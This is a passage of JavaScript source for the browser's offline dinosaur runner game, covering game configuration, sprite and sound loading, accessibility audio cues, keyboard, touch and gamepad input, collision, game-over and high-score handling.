* defined in Runner.normalConfig and Runner.slowConfig.
*/
Runner.config = {
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
BG_CLOUD_SPEED: 0.2,
BOTTOM_PAD: 10,
// Scroll Y threshold at which the game can be activated.
CANVAS_IN_VIEW_OFFSET: -10,
CLEAR_TIME: 3000,
CLOUD_FREQUENCY: 0.5,
FADE_DURATION: 1,
FLASH_DURATION: 1000,
GAMEOVER_CLEAR_TIME: 1200,
INITIAL_JUMP_VELOCITY: 12,
INVERT_FADE_DURATION: 12000,
MAX_BLINK_COUNT: 3,
MAX_CLOUDS: 6,
MAX_OBSTACLE_LENGTH: 3,
MAX_OBSTACLE_DUPLICATION: 2,
RESOURCE_TEMPLATE_ID: 'audio-resources',
SPEED: 6,
SPEED_DROP_COEFFICIENT: 3,
ARCADE_MODE_INITIAL_TOP_POSITION: 35,
ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};
Runner.normalConfig = {
ACCELERATION: 0.001,
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
GAP_COEFFICIENT: 0.6,
INVERT_DISTANCE: 700,
MAX_SPEED: 13,
MOBILE_SPEED_COEFFICIENT: 1.2,
SPEED: 6,
};
Runner.slowConfig = {
ACCELERATION: 0.0005,
AUDIOCUE_PROXIMITY_THRESHOLD: 170,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
GAP_COEFFICIENT: 0.3,
INVERT_DISTANCE: 350,
MAX_SPEED: 9,
MOBILE_SPEED_COEFFICIENT: 1.5,
SPEED: 4.2,
};
/**
* Default dimensions.
*/
Runner.defaultDimensions = {
WIDTH: DEFAULT_WIDTH,
HEIGHT: 150,
};
/**
* CSS class names.
* @enum {string}
*/
Runner.classes = {
ARCADE_MODE: 'arcade-mode',
CANVAS: 'runner-canvas',
CONTAINER: 'runner-container',
CRASHED: 'crashed',
ICON: 'icon-offline',
INVERTED: 'inverted',
SNACKBAR: 'snackbar',
SNACKBAR_SHOW: 'snackbar-show',
TOUCH_CONTROLLER: 'controller',
};
/**
* Sound FX. Reference to the ID of the audio tag on interstitial page.
* @enum {string}
*/
Runner.sounds = {
BUTTON_PRESS: 'offline-sound-press',
HIT: 'offline-sound-hit',
SCORE: 'offline-sound-reached',
};
/**
* Key code mapping.
* @enum {Object}
*/
Runner.keycodes = {
JUMP: {'38': 1, '32': 1}, // Up, spacebar
DUCK: {'40': 1}, // Down
RESTART: {'13': 1}, // Enter
};
/**
* Runner event names.
* @enum {string}
*/
Runner.events = {
ANIM_END: 'webkitAnimationEnd',
CLICK: 'click',
KEYDOWN: 'keydown',
KEYUP: 'keyup',
POINTERDOWN: 'pointerdown',
POINTERUP: 'pointerup',
RESIZE: 'resize',
TOUCHEND: 'touchend',
TOUCHSTART: 'touchstart',
VISIBILITY: 'visibilitychange',
BLUR: 'blur',
FOCUS: 'focus',
LOAD: 'load',
GAMEPADCONNECTED: 'gamepadconnected',
};
Runner.prototype = {
/**
* Initialize alternative game type.
*/
initAltGameType() {
if (GAME_TYPE.length > 0) {
this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
'';
}
},
/**
* Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
* @return {boolean}
*/
isDisabled() {
return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
},
/**
* For disabled instances, set up a snackbar with the disabled message.
*/
setupDisabledRunner() {
this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.SNACKBAR;
this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
this.outerContainerEl.appendChild(this.containerEl);
// Show notification when the activation key is pressed.
document.addEventListener(Runner.events.KEYDOWN, function(e) {
if (Runner.keycodes.JUMP[e.keyCode]) {
this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
document.querySelector('.icon').classList.add('icon-disabled');
}
}.bind(this));
},
/**
* Setting individual settings for debugging.
* @param {string} setting
* @param {number|string} value
*/
updateConfigSetting(setting, value) {
if (setting in this.config && value !== undefined) {
this.config[setting] = value;
switch (setting) {
case 'GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;
break;
case 'INITIAL_JUMP_VELOCITY':
this.tRex.setJumpVelocity(value);
break;
case 'SPEED':
this.setSpeed(/** @type {number} */ (value));
break;
}
}
},
/**
* Creates an on page image element from the base 64 encoded string source.
* @param {string} resourceName Name in data object,
* @return {HTMLImageElement} The created element.
*/
createImageElement(resourceName) {
const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
loadTimeData.getString(resourceName) :
null;
if (imgSrc) {
const el =
/** @type {HTMLImageElement} */ (document.createElement('img'));
el.id = resourceName;
el.src = imgSrc;
document.getElementById('offline-resources').appendChild(el);
return el;
}
return null;
},
/**
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.
*/
loadImages() {
let scale = '1x';
this.spriteDef = Runner.spriteDefinition.LDPI;
if (IS_HIDPI) {
scale = '2x';
this.spriteDef = Runner.spriteDefinition.HDPI;
}
Runner.imageSprite = /** @type {HTMLImageElement} */
(document.getElementById(RESOURCE_POSTFIX + scale));
if (this.gameType) {
Runner.altGameImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameSpecificImage' + scale));
Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameCommonImage' + scale));
}
Runner.origImageSprite = Runner.imageSprite;
// Disable the alt game mode if the sprites can't be loaded.
if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
Runner.isAltGameModeEnabled = () => false;
this.altGameModeActive = false;
}
if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner.imageSprite.addEventListener(Runner.events.LOAD,
this.init.bind(this));
}
},
/**
* Load and decode base 64 encoded sounds.
*/
loadSounds() {
if (!IS_IOS) {
this.audioContext = new AudioContext();
const resourceTemplate =
document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;
for (const sound in Runner.sounds) {
let soundSrc =
resourceTemplate.getElementById(Runner.sounds[sound]).src;
soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
const buffer = decodeBase64ToArrayBuffer(soundSrc);
// Async, so no guarantee of order in array.
this.audioContext.decodeAudioData(buffer, function(index, audioData) {
this.soundFx[index] = audioData;
}.bind(this, sound));
}
}
},
/**
* Sets the game speed. Adjust the speed accordingly if on a smaller screen.
* @param {number=} opt_speed
*/
setSpeed(opt_speed) {
const speed = opt_speed || this.currentSpeed;
// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
const mobileSpeed = Runner.slowDown ? speed :
speed * this.dimensions.WIDTH /
DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
} else if (opt_speed) {
this.currentSpeed = opt_speed;
}
},
/**
* Game initialiser.
*/
init() {
// Hide the static icon.
document.querySelector('.' + Runner.classes.ICON).style.visibility =
'hidden';
this.adjustDimensions();
this.setSpeed();
const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
this.containerEl = document.createElement('div');
this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
this.containerEl.setAttribute('tabindex', '0');
this.containerEl.setAttribute('title', ariaLabel);
this.containerEl.className = Runner.classes.CONTAINER;
// Player canvas container.
this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
// Live region for game status updates.
this.a11yStatusEl = document.createElement('span');
this.a11yStatusEl.className = 'offline-runner-live-region';
this.a11yStatusEl.setAttribute('aria-live', 'assertive');
this.a11yStatusEl.textContent = '';
Runner.a11yStatusEl = this.a11yStatusEl;
// Add checkbox to slow down the game.
this.slowSpeedCheckboxLabel = document.createElement('label');
this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
this.slowSpeedCheckboxLabel.textContent =
getA11yString(A11Y_STRINGS.speedLabel);
this.slowSpeedCheckbox = document.createElement('input');
this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
this.slowSpeedCheckbox.setAttribute(
'title', getA11yString(A11Y_STRINGS.speedLabel));
this.slowSpeedCheckbox.setAttribute('tabindex', '0');
this.slowSpeedCheckbox.setAttribute('checked', 'checked');
this.slowSpeedToggleEl = document.createElement('span');
this.slowSpeedToggleEl.className = 'slow-speed-toggle';
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);
if (IS_IOS) {
this.outerContainerEl.appendChild(this.a11yStatusEl);
} else {
this.containerEl.appendChild(this.a11yStatusEl);
}
announcePhrase(getA11yString(A11Y_STRINGS.description));
this.generatedSoundFx = new GeneratedSoundFx();
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.canvasCtx.fillStyle = '#f7f7f7';
this.canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);
// Horizon contains clouds, obstacles and the ground.
this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
this.config.GAP_COEFFICIENT);
// Distance meter
this.distanceMeter = new DistanceMeter(this.canvas,
this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);
// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);
this.outerContainerEl.appendChild(this.containerEl);
this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);
this.startListening();
this.update();
window.addEventListener(Runner.events.RESIZE,
this.debounceResize.bind(this));
// Handle dark mode
const darkModeMediaQuery =
window.matchMedia('(prefers-color-scheme: dark)');
this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
darkModeMediaQuery.addListener((e) => {
this.isDarkMode = e.matches;
});
},
/**
* Create the touch controller. A div that covers whole screen.
*/
createTouchController() {
this.touchController = document.createElement('div');
this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
this.touchController.addEventListener(Runner.events.TOUCHEND, this);
this.outerContainerEl.appendChild(this.touchController);
},
/**
* Debounce the resize event.
*/
debounceResize() {
if (!this.resizeTimerId_) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 250);
}
},
/**
* Adjust game space dimensions on resize.
*/
adjustDimensions() {
clearInterval(this.resizeTimerId_);
this.resizeTimerId_ = null;
const boxStyles = window.getComputedStyle(this.outerContainerEl);
const padding = Number(boxStyles.paddingLeft.substr(0,
boxStyles.paddingLeft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
if (this.isArcadeMode()) {
this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
if (this.activated) {
this.setArcadeModeContainerScale();
}
}
// Redraw the elements back onto the canvas.
if (this.canvas) {
this.canvas.width = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon.update(0, 0, true);
this.tRex.update(0);
// Outer container and distance meter.
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(0, Math.ceil(this.distanceRan));
this.stop();
} else {
this.tRex.draw(0, 0);
}
// Game over panel.
if (this.crashed && this.gameOverPanel) {
this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
}
}
},
/**
* Play the game intro.
* Canvas container width expands out to the full width.
*/
playIntro() {
if (!this.activated && !this.crashed) {
this.playingIntro = true;
this.tRex.playingIntro = true;
// CSS animation definition.
const keyframes = '@-webkit-keyframes intro { ' +
'from { width:' + Trex.config.WIDTH + 'px }' +
'to { width: ' + this.dimensions.WIDTH + 'px }' +
'}';
document.styleSheets[0].insertRule(keyframes, 0);
this.containerEl.addEventListener(Runner.events.ANIM_END,
this.startGame.bind(this));
this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.setPlayStatus(true);
this.activated = true;
} else if (this.crashed) {
this.restart();
}
},
/**
* Update the game status to started.
*/
startGame() {
if (this.isArcadeMode()) {
this.setArcadeMode();
}
this.toggleSpeed();
this.runningTime = 0;
this.playingIntro = false;
this.tRex.playingIntro = false;
this.containerEl.style.webkitAnimation = '';
this.playCount++;
this.generatedSoundFx.background();
announcePhrase(getA11yString(A11Y_STRINGS.started));
if (Runner.audioCues) {
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
}
// Handle tabbing off the page. Pause the current game.
document.addEventListener(Runner.events.VISIBILITY,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.BLUR,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.FOCUS,
this.onVisibilityChange.bind(this));
},
clearCanvas() {
this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
},
/**
* Checks whether the canvas area is in the viewport of the browser
* through the current scroll position.
* @return boolean.
*/
isCanvasInView() {
return this.containerEl.getBoundingClientRect().top >
Runner.config.CANVAS_IN_VIEW_OFFSET;
},
/**
* Enable the alt game mode. Switching out the sprites.
*/
enableAltGameMode() {
Runner.imageSprite = Runner.altGameImageSprite;
Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];
if (IS_HIDPI) {
this.spriteDef = Runner.spriteDefinition.HDPI;
} else {
this.spriteDef = Runner.spriteDefinition.LDPI;
}
this.altGameModeActive = true;
this.tRex.enableAltGameMode(this.spriteDef.TREX);
this.horizon.enableAltGameMode(this.spriteDef);
this.generatedSoundFx.background();
},
/**
* Update the game frame and schedules the next one.
*/
update() {
this.updatePending = false;
const now = getTimeStamp();
let deltaTime = now - (this.time || now);
// Flashing when switching game modes.
if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
this.altGameModeFlashTimer = null;
this.tRex.setFlashing(false);
this.enableAltGameMode();
} else if (this.altGameModeFlashTimer > 0) {
this.altGameModeFlashTimer -= deltaTime;
this.tRex.update(deltaTime);
deltaTime = 0;
}
this.time = now;
if (this.playing) {
this.clearCanvas();
// Additional fade in - Prevents jump when switching sprites
if (this.altGameModeActive &&
this.fadeInTimer <= this.config.FADE_DURATION) {
this.fadeInTimer += deltaTime / 1000;
this.canvasCtx.globalAlpha = this.fadeInTimer;
} else {
this.canvasCtx.globalAlpha = 1;
}
if (this.tRex.jumping) {
this.tRex.updateJump(deltaTime);
}
this.runningTime += deltaTime;
const hasObstacles = this.runningTime > this.config.CLEAR_TIME;
// First jump triggers the intro.
if (this.tRex.jumpCount === 1 && !this.playingIntro) {
this.playIntro();
}
// The horizon doesn't move until the intro is over.
if (this.playingIntro) {
this.horizon.update(0, this.currentSpeed, hasObstacles);
} else if (!this.crashed) {
const showNightMode = this.isDarkMode ^ this.inverted;
deltaTime = !this.activated ? 0 : deltaTime;
this.horizon.update(
deltaTime, this.currentSpeed, hasObstacles, showNightMode);
}
// Check for collisions.
let collision = hasObstacles &&
checkForCollision(this.horizon.obstacles[0], this.tRex);
// For a11y, audio cues.
if (Runner.audioCues && hasObstacles) {
const jumpObstacle =
this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';
if (!this.horizon.obstacles[0].jumpAlerted) {
const threshold = Runner.isMobileMouseInput ?
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
const adjProximityThreshold = threshold +
(threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));
if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
if (jumpObstacle) {
this.generatedSoundFx.jump();
}
this.horizon.obstacles[0].jumpAlerted = true;
}
}
}
// Activated alt game mode.
if (Runner.isAltGameModeEnabled() && collision &&
this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
this.horizon.removeFirstObstacle();
this.tRex.setFlashing(true);
collision = false;
this.altGameModeFlashTimer = this.config.FLASH_DURATION;
this.runningTime = 0;
this.generatedSoundFx.collect();
}
if (!collision) {
this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;
if (this.currentSpeed < this.config.MAX_SPEED) {
this.currentSpeed += this.config.ACCELERATION;
}
} else {
this.gameOver();
}
const playAchievementSound = this.distanceMeter.update(deltaTime,
Math.ceil(this.distanceRan));
if (!Runner.audioCues && playAchievementSound) {
this.playSound(this.soundFx.SCORE);
}
// Night mode.
if (!Runner.isAltGameModeEnabled()) {
if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
this.invertTimer = 0;
this.invertTrigger = false;
this.invert(false);
} else if (this.invertTimer) {
this.invertTimer += deltaTime;
} else {
const actualDistance =
this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));
if (actualDistance > 0) {
this.invertTrigger =
!(actualDistance % this.config.INVERT_DISTANCE);
if (this.invertTrigger && this.invertTimer === 0) {
this.invertTimer += deltaTime;
this.invert(false);
}
}
}
}
}
if (this.playing || (!this.activated &&
this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
this.tRex.update(deltaTime);
this.scheduleNextUpdate();
}
},
/**
* Event handler.
* @param {Event} e
*/
handleEvent(e) {
return (function(evtType, events) {
switch (evtType) {
case events.KEYDOWN:
case events.TOUCHSTART:
case events.POINTERDOWN:
this.onKeyDown(e);
break;
case events.KEYUP:
case events.TOUCHEND:
case events.POINTERUP:
this.onKeyUp(e);
break;
case events.GAMEPADCONNECTED:
this.onGamepadConnected(e);
break;
}
}.bind(this))(e.type, Runner.events);
},
/**
* Initialize audio cues if activated by focus on the canvas element.
* @param {Event} e
*/
handleCanvasKeyPress(e) {
if (!this.activated && !Runner.audioCues) {
this.toggleSpeed();
Runner.audioCues = true;
this.generatedSoundFx.init();
Runner.generatedSoundFx = this.generatedSoundFx;
Runner.config.CLEAR_TIME *= 1.2;
} else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
this.onKeyDown(e);
}
},
/**
* Prevent space key press from scrolling.
* @param {Event} e
*/
preventScrolling(e) {
if (e.keyCode === 32) {
e.preventDefault();
}
},
/**
* Toggle speed setting if toggle is shown.
*/
toggleSpeed() {
if (Runner.audioCues) {
const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;
if (speedChange) {
Runner.slowDown = this.slowSpeedCheckbox.checked;
const updatedConfig =
Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;
Runner.config = Object.assign(Runner.config, updatedConfig);
this.currentSpeed = updatedConfig.SPEED;
this.tRex.enableSlowConfig();
this.horizon.adjustObstacleSpeed();
}
if (this.playing) {
this.disableSpeedToggle(true);
}
}
},
/**
* Show the speed toggle.
* From focus event or when audio cues are activated.
* @param {Event=} e
*/
showSpeedToggle(e) {
const isFocusEvent = e && e.type == 'focus';
if (Runner.audioCues || isFocusEvent) {
this.slowSpeedCheckboxLabel.classList.toggle(
HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
}
},
/**
* Disable the speed toggle.
* @param {boolean} disable
*/
disableSpeedToggle(disable) {
if (disable) {
this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
} else {
this.slowSpeedCheckbox.removeAttribute('disabled');
}
},
/**
* Bind relevant key / mouse / touch listeners.
*/
startListening() {
// A11y keyboard / screen reader activation.
this.containerEl.addEventListener(
Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
if (!IS_MOBILE) {
this.containerEl.addEventListener(
Runner.events.FOCUS, this.showSpeedToggle.bind(this));
}
this.canvas.addEventListener(
Runner.events.KEYDOWN, this.preventScrolling.bind(this));
this.canvas.addEventListener(
Runner.events.KEYUP, this.preventScrolling.bind(this));
// Keys.
document.addEventListener(Runner.events.KEYDOWN, this);
document.addEventListener(Runner.events.KEYUP, this);
// Touch / pointer.
this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
document.addEventListener(Runner.events.POINTERDOWN, this);
document.addEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
// Gamepad
window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Remove all listeners.
*/
stopListening() {
document.removeEventListener(Runner.events.KEYDOWN, this);
document.removeEventListener(Runner.events.KEYUP, this);
if (this.touchController) {
this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
}
this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
document.removeEventListener(Runner.events.POINTERDOWN, this);
document.removeEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Process keydown.
* @param {Event} e
*/
onKeyDown(e) {
// Prevent native page scrolling whilst tapping on mobile.
if (IS_MOBILE && this.playing) {
e.preventDefault();
}
if (this.isCanvasInView()) {
// Allow toggling of speed toggle.
if (Runner.keycodes.JUMP[e.keyCode] &&
e.target == this.slowSpeedCheckbox) {
return;
}
if (!this.crashed && !this.paused) {
// For a11y, screen reader activation.
const isMobileMouseInput = IS_MOBILE &&
e.type === Runner.events.POINTERDOWN &&
e.pointerType == 'mouse' && e.target == this.containerEl ||
(IS_IOS && e.pointerType == 'touch' &&
document.activeElement == this.containerEl);
if (Runner.keycodes.JUMP[e.keyCode] ||
e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
(Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
e.preventDefault();
// Starting the game for the first time.
if (!this.playing) {
// Started by touch so create a touch controller.
if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
this.createTouchController();
}
if (isMobileMouseInput) {
this.handleCanvasKeyPress(e);
}
this.loadSounds();
this.setPlayStatus(true);
this.update();
if (window.errorPageController) {
errorPageController.trackEasterEgg();
}
}
// Start jump.
if (!this.tRex.jumping && !this.tRex.ducking) {
if (Runner.audioCues) {
this.generatedSoundFx.cancelFootSteps();
} else {
this.playSound(this.soundFx.BUTTON_PRESS);
}
this.tRex.startJump(this.currentSpeed);
}
// Ducking is disabled on alt game modes.
} else if (
!this.altGameModeActive && this.playing &&
Runner.keycodes.DUCK[e.keyCode]) {
e.preventDefault();
if (this.tRex.jumping) {
// Speed drop, activated only when jump key is not pressed.
this.tRex.setSpeedDrop();
} else if (!this.tRex.jumping && !this.tRex.ducking) {
// Duck.
this.tRex.setDuck(true);
}
}
}
}
},
/**
* Process key up.
* @param {Event} e
*/
onKeyUp(e) {
const keyCode = String(e.keyCode);
const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;
if (this.isRunning() && isjumpKey) {
this.tRex.endJump();
} else if (Runner.keycodes.DUCK[keyCode]) {
this.tRex.speedDrop = false;
this.tRex.setDuck(false);
} else if (this.crashed) {
// Check that enough time has elapsed before allowing jump key to restart.
const deltaTime = getTimeStamp() - this.time;
if (this.isCanvasInView() &&
(Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
(deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
Runner.keycodes.JUMP[keyCode]))) {
this.handleGameOverClicks(e);
}
} else if (this.paused && isjumpKey) {
// Reset the jump state
this.tRex.reset();
this.play();
}
},
/**
* Process gamepad connected event.
* @param {Event} e
*/
onGamepadConnected(e) {
if (!this.pollingGamepads) {
this.pollGamepadState();
}
},
/**
* rAF loop for gamepad polling.
*/
pollGamepadState() {
const gamepads = navigator.getGamepads();
this.pollActiveGamepad(gamepads);
this.pollingGamepads = true;
requestAnimationFrame(this.pollGamepadState.bind(this));
},
/**
* Polls for a gamepad with the jump button pressed. If one is found this
* becomes the "active" gamepad and all others are ignored.
* @param {!Array<Gamepad>} gamepads
*/
pollForActiveGamepad(gamepads) {
for (let i = 0; i < gamepads.length; ++i) {
if (gamepads[i] && gamepads[i].buttons.length > 0 &&
gamepads[i].buttons[0].pressed) {
this.gamepadIndex = i;
this.pollActiveGamepad(gamepads);
return;
}
}
},
/**
* Polls the chosen gamepad for button presses and generates KeyboardEvents
* to integrate with the rest of the game logic.
* @param {!Array<Gamepad>} gamepads
*/
pollActiveGamepad(gamepads) {
if (this.gamepadIndex === undefined) {
this.pollForActiveGamepad(gamepads);
return;
}
const gamepad = gamepads[this.gamepadIndex];
if (!gamepad) {
this.gamepadIndex = undefined;
this.pollForActiveGamepad(gamepads);
return;
}
// The gamepad specification defines the typical mapping of physical buttons
// to button indicies: https://w3c.github.io/gamepad/#remapping
this.pollGamepadButton(gamepad, 0, 38); // Jump
if (gamepad.buttons.length >= 2) {
this.pollGamepadButton(gamepad, 1, 40); // Duck
}
if (gamepad.buttons.length >= 10) {
this.pollGamepadButton(gamepad, 9, 13); // Restart
}
this.previousGamepad = gamepad;
},
/**
* Generates a key event based on a gamepad button.
* @param {!Gamepad} gamepad
* @param {number} buttonIndex
* @param {number} keyCode
*/
pollGamepadButton(gamepad, buttonIndex, keyCode) {
const state = gamepad.buttons[buttonIndex].pressed;
let previousState = false;
if (this.previousGamepad) {
previousState = this.previousGamepad.buttons[buttonIndex].pressed;
}
// Generate key events on the rising and falling edge of a button press.
if (state !== previousState) {
const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
: Runner.events.KEYUP,
{ keyCode: keyCode });
document.dispatchEvent(e);
}
},
/**
* Handle interactions on the game over screen state.
* A user is able to tap the high score twice to reset it.
* @param {Event} e
*/
handleGameOverClicks(e) {
if (e.target != this.slowSpeedCheckbox) {
e.preventDefault();
if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
if (this.distanceMeter.isHighScoreFlashing()) {
// Subsequent click, reset the high score.
this.saveHighScore(0, true);
this.distanceMeter.resetHighScore();
} else {
// First click, flash the high score.
this.distanceMeter.startHighScoreFlashing();
}
} else {
this.distanceMeter.cancelHighScoreFlashing();
this.restart();
}
}
},
/**
* Returns whether the event was a left click on canvas.
* On Windows right click is registered as a click.
* @param {Event} e
* @return {boolean}
*/
isLeftClickOnCanvas(e) {
return e.button != null && e.button < 2 &&
e.type === Runner.events.POINTERUP &&
(e.target === this.canvas ||
(IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
},
/**
* RequestAnimationFrame wrapper.
*/
scheduleNextUpdate() {
if (!this.updatePending) {
this.updatePending = true;
this.raqId = requestAnimationFrame(this.update.bind(this));
}
},
/**
* Whether the game is running.
* @return {boolean}
*/
isRunning() {
return !!this.raqId;
},
/**
* Set the initial high score as stored in the user's profile.
* @param {number} highScore
*/
initializeHighScore(highScore) {
this.syncHighestScore = true;
highScore = Math.ceil(highScore);
if (highScore < this.highestScore) {
if (window.errorPageController) {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
return;
}
this.highestScore = highScore;
this.distanceMeter.setHighScore(this.highestScore);
},
/**
* Sets the current high score and saves to the profile if available.
* @param {number} distanceRan Total distance ran.
* @param {boolean=} opt_resetScore Whether to reset the score.
*/
saveHighScore(distanceRan, opt_resetScore) {
this.highestScore = Math.ceil(distanceRan);
this.distanceMeter.setHighScore(this.highestScore);
// Store the new high score in the profile.
if (this.syncHighestScore && window.errorPageController) {
if (opt_resetScore) {
errorPageController.resetEasterEggHighScore();
} else {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
}
},
/**
* Game over state.
*/
gameOver() {
this.playSound(this.soundFx.HIT);
vibrate(200);
this.stop();
this.crashed = true;
this.distanceMeter.achievement = false;
this.tRex.update(100, Trex.status.CRASHED);
// Game over panel.
if (!this.gameOverPanel) {
const origSpriteDef = IS_HIDPI ?
Runner.spriteDefinitionByType.original.HDPI :
Runner.spriteDefinitionByType.original.LDPI;
if (this.canvas) {
if (Runner.isAltGameModeEnabled) {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions, origSpriteDef.ALT_GAME_END,
this.altGameModeActive);
} else {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions);
}
}
}
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
// Update the high score.
if (this.distanceRan > this.highestScore) {
this.saveHighScore(this.distanceRan);
}
// Reset the time clock.
this.time = getTimeStamp();
if (Runner.audioCues) {
this.generatedSoundFx.stopAll();
announcePhrase(
getA11yString(A11Y_STRINGS.gameOver)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.distanceRan)
.toString()) +
' ' +
getA11yString(A11Y_STRINGS.highScore)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.highestScore)
.toString()));
this.containerEl.setAttribute(
'title', getA11yString(A11Y_STRINGS.ariaLabel));
}
this.showSpeedToggle();
this.disableSpeedToggle(false);
},
stop() {
this.setPlayStatus(false);
this.paused = true;
cancelAnimationFrame(this.raqId);
this.raqId = 0;
this.generatedSoundFx.stopAll();
},
play() {
if (!this.crashed) {
this.setPlayStatus(true);
this.paused = false;
this.tRex.update(0, Trex.status.RUNNING);
this.time = getTimeStamp();
this.update();
this.generatedSoundFx.background();
}
},
restart() {
if (!this.raqId) {
this.playCount++;
this.runningTime = 0;
this.setPlayStatus(true);
this.toggleSpeed();
this.paused = false;
this.crashed = false;
this.distanceRan = 0;
this.setSpeed(this.config.SPEED);
this.time = getTimeStamp();
this.containerEl.classList.remove(Runner.classes.CRASHED);
this.clearCanvas();
